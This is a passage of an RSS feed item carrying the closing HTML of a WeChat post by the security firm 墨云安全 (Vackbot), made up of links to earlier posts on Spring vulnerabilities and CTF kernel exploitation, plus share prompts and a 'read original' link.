src="https://wechat2rss.xlab.app/img-proxy/?k=b7bef235&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FasLg7via5ibAkf1mRkpS4IuZibZE5eeC0t8nibIZBfZEekibOEZVWyf9jHzIVvT2sTzKS1OtZzSBErxJUZXD1AwAAWw%2F640%3Fwx_fmt%3Dpng"/></section><section data-mid="" mpa-from-tpl="t" style="padding-right: 4px;padding-left: 4px;outline: 0px;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p data-mid="" style="padding-right: 16px;padding-left: 16px;outline: 0px;max-width: 100%;font-size: 14px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(27, 110, 201);line-height: 20px;border-bottom: 1px solid rgb(27, 110, 201);text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;">往期回顾</p></section><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;width: 6px;height: 6px;transform: translateX(-14px);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1" style="outline: 0px;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 12px !important;" data-type="png" data-w="12" src="https://wechat2rss.xlab.app/img-proxy/?k=24153e94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FicjDF5uGXY5ibE0P0Mtzns3KNb5hsCIKPfMIRultHDbmzgJcDaibI4wNKM6ZloyGRtRovyXtVdv3SuuVOcmA8gn8A%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><h1 style="margin-bottom: 14px;outline: 0px;font-size: 22px;line-height: 1.4;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);margin-top: 1em;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484549&amp;idx=1&amp;sn=63b79085820dd2076afdc7f3437afb22&amp;chksm=c0ddfef4f7aa77e20f7724559b20aa185f93c567a6a89fc564cd827ff594cc4bdb9a1fbf1867&amp;scene=21#wechat_redirect" textvalue="Vackbot已覆盖 |【漏洞通告】Spring框架远程代码执行漏洞" linktype="text" imgurl="" imgdata="null" data-itemshowtype="11" tab="innerlink" data-linktype="2"><span style="font-size: 14px;">Vackbot已覆盖 |【漏洞通告】Spring框架远程代码执行漏洞</span></a></h1><h1 style="margin-top: 10px;margin-bottom: 14px;font-size: 22px;white-space: normal;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;background-color: rgb(255, 255, 255);line-height: 1.4;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484532&amp;idx=1&amp;sn=d6d09f24d22979ba7d3ee9f9c88c8c61&amp;chksm=c0ddfe05f7aa7713061756b4edc9a5c4a08e858fa84729303c685698c96978e16f4233e3e6ae&amp;scene=21#wechat_redirect" textvalue="Spring Cloud Function SpEL表达式注入" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" wah-hotarea="click" hasload="1" style="outline: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">Spring Cloud Function SpEL表达式注入</a></h1><h1 style="margin-top: 5px;margin-bottom: 14px;font-size: 22px;white-space: normal;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;background-color: rgb(255, 255, 255);line-height: 1.4;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484499&amp;idx=1&amp;sn=bbaea7e265a5001b1a51ea957bc2decf&amp;chksm=c0ddfe22f7aa7734f8d84b7d4c404bbbe3460696e7dfb64238577ac637c2affdab3890dee063&amp;scene=21#wechat_redirect" textvalue="ctf中linux内核态的漏洞挖掘与利用" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" wah-hotarea="click" hasload="1" style="outline: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">ctf中linux内核态的漏洞挖掘与利用</a><br/></h1><p><br/></p><section style="margin: 10px 8px;outline: 0px;max-width: 100%;font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;white-space: normal;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.43333333333333335" data-s="300,640" style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 194px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=044cd326&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7lCiaSMMkhia4WIkRNZHTwq8jJicy27jdbWa7ED26252RGmSPRE0rmHQsgZ6ZoichVyFNlvhLelZS09a194B9dyoAQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin: 10px 8px;outline: 0px;max-width: 100%;font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;white-space: normal;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);letter-spacing: 2px;box-sizing: border-box !important;overflow-wrap: break-word !important;">引领智能网络攻防科技</span></section><section style="margin: 10px 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;white-space: normal;widows: 1;word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-copyright="0" data-ratio="0.0734375" style="outline: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 544px !important;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=64f785c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCD1iaLIMEhibPv9rc3gdLj3g6fiaAcCZqIicylIMVKlbvd5ic5usJ2oia9cTgavs6BwQpEEYbfglc82kCJ0Qic3OHMEaw%2F640%3Fwx_fmt%3Dgif"/></span></section><section class="mp_profile_iframe_wrp"><mpprofile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="MzU5ODE2NDA3NA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/7lCiaSMMkhia7dpwexuaibUE3Eb0z03gPLaYB4PHo7G8BE9eAlRk9NoXRfjDMAxXV0OSYSdZS7KPqic8GNUkqxch7g/0?wx_fmt=png" data-nickname="墨云安全" data-alias="moyunsec" data-signature="墨云科技，更智能的网络攻防！" data-from="1"></mpprofile></section><section data-brushtype="text" style="margin: 15px 1em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-size: 16px;white-space: normal;widows: 1;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin: 15px 8px 10px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="margin: 15px 8px 10px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;">点击</span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: start;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;color: rgb(99, 121, 161);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">在看</strong></span></section><section style="margin: 5px 8px 15px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;">分享给小伙伴</span></section><section style="margin-right: 8px;margin-left: 8px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="margin-right: 8px;margin-left: 8px;outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(178, 178, 178);"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;">↓</span>↓点击</span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(99, 121, 161);"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">阅读原文</strong></span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(178, 178, 178);">，了解更多墨云信息</span></span></section></section>



<p><a href="http://www.vackbot.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=281cb2ac&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzIxMDUyNg%3D%3D%26mid%3D2247484650%26idx%3D1%26sn%3D9126c288f84d1d3d1e9e9a7d4410ef06%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 07 Apr 2022 18:05:00 +0800</pubDate>
    </item>
  </channel>
</rss>